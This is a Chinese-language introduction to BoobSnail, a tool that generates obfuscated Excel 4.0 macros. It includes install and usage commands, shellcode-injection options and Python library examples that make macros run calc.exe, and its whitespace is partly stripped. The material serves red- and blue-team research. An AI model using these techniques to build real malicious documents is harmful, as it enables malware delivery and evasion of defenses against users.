关于BoobSnail
BoobSnail可以帮助研究人员生成XLM(Excel 4.0)这个工具可以是宏文件XLM红队和蓝队的研究人员在宏生成任务中得到了帮助。该工具支持以下功能:
- 各种感染技术;
- 各种代码混淆技术;
- 将公式翻译成英语以外的语言;
- 可作为代码库使用,以便研究人员编写自己的生成器;
工具下载
大多数研究人员可以使用以下命令将项目源代码克隆到当地:
gitclonehttps://github.com/STMCyber/boobsnail.git工具依赖
BoobSnail基于Python 3开发,需要安装和配置本地设备Python
3.8.7rc1环境。接下来,运行以下安装工具所需的命令:
pipinstall-rrequirements.txtpythonboobsnail.py___.___._________.__.__\_|__________\_|__/_____/_________|__|||__\/_\/_\|__\\_____\/\__\||||\_\(<_>|<_>)\_\\/\|\/__\|||__|___/\____/\____/|___/_______/___|(____/__|____/\/\/\/\/\/Author:@_mzer0@stm_cyber(...)工具使用
pythonboobsnail.py<generator>-h显示可用生成器类型:
pythonboobsnail.py样品用于工具
生成注入了x64或x86 Shellcode代码混淆处理后的宏:
pythonboobsnail.pyExcel4NtDonutGenerator--inputx86<PATH_TO_SHELLCODE>--inputx64<PATH_TO_SHELLCODE>--outboobsnail.csv生成可以运行calc.exe代码混淆处理后的宏:
pythonboobsnail.pyExcel4ExecGenerator--cmd"powershell.exe-ccalc.exe"--outboobsnail.csv代码库使用
BoobSnail使用了excel4lib支持库建立自己Excel4宏生成器。excel4lib在创建生成器的过程中,库中包含几种类型:
- macro.Excel4Macro:允许定义Excel4公式和变量值;
- macro.obfuscator.Excel4Obfuscator:允许对Excel4混淆宏中的指令代码;
- lang.Excel4Translator:允许将公式转换为其他语言;
下面给出的例子将创建一个可以运行的例子calc.exe的简单宏:
fromexcel4lib.macroimport*#Createmacroobjectmacro=Excel4Macro("test.csv")#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())结果如下:
cmd="calc.exe";=EXEC(cmd);如果要混淆宏,需要引入混淆工具并传递给宏Excel4Macro对象:
fromexcel4lib.macroimport*fromexcel4lib.macro.obfuscatorimport*#Createmacroobjectmacro=Excel4Macro("test.csv",obfuscator=Excel4Obfuscator())#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())如果你需要把你的宏转换成其他语言,假设它是波兰语目前这个工具只支持英语和波兰语),我们需要介绍它Excel4Translator类,并调用set_language方法:
fromexcel4lib.macroimport*fromexcel4lib.lang.excel4_translatorimport*#ChangelanguageExcel4Translator.set_language("pl_PL")#Createmacroobjectmacro=Excel4Macro("test.csv",obfuscator=Excel4Obfuscator())#Addvariablecalledcmdwithvalue"calc.exe"totheworksheetcmd=macro.variable("cmd","calc.exe")#AddEXECformulawithargumentcmdmacro.formula("EXEC",cmd)#DumptoCSVprint(macro.to_csv())结果如下:
cmd="calc.exe";=URUCHOM.PROGRAM(cmd);如果您需要创建一个可以将其他公式作为接收参数的公式,则需要使用它Excel4Macro.argument函数:
fromexcel4lib.macroimport*macro=Excel4Macro("test.csv")#Addvariablecalledcmdwithvalue"calc"totheworksheetcmd_1=macro.variable("cmd","calc")#Addcellcontaining.exeasvaluecmd_2=macro.value(".exe")#CreateCONCATENATEformulathatCONCATENATEscmd_1andcmd_2exec_arg=macro.argument("CONCATENATE",cmd_1,cmd_2)macro.formula("EXEC",exec_arg)#DumptoCSVprint(macro.to_csv())结果如下:
cmd="calc";.exe;=EXEC(CONCATENATE(cmd,R2C1));项目地址
BoobSnail:【GitHub传送门】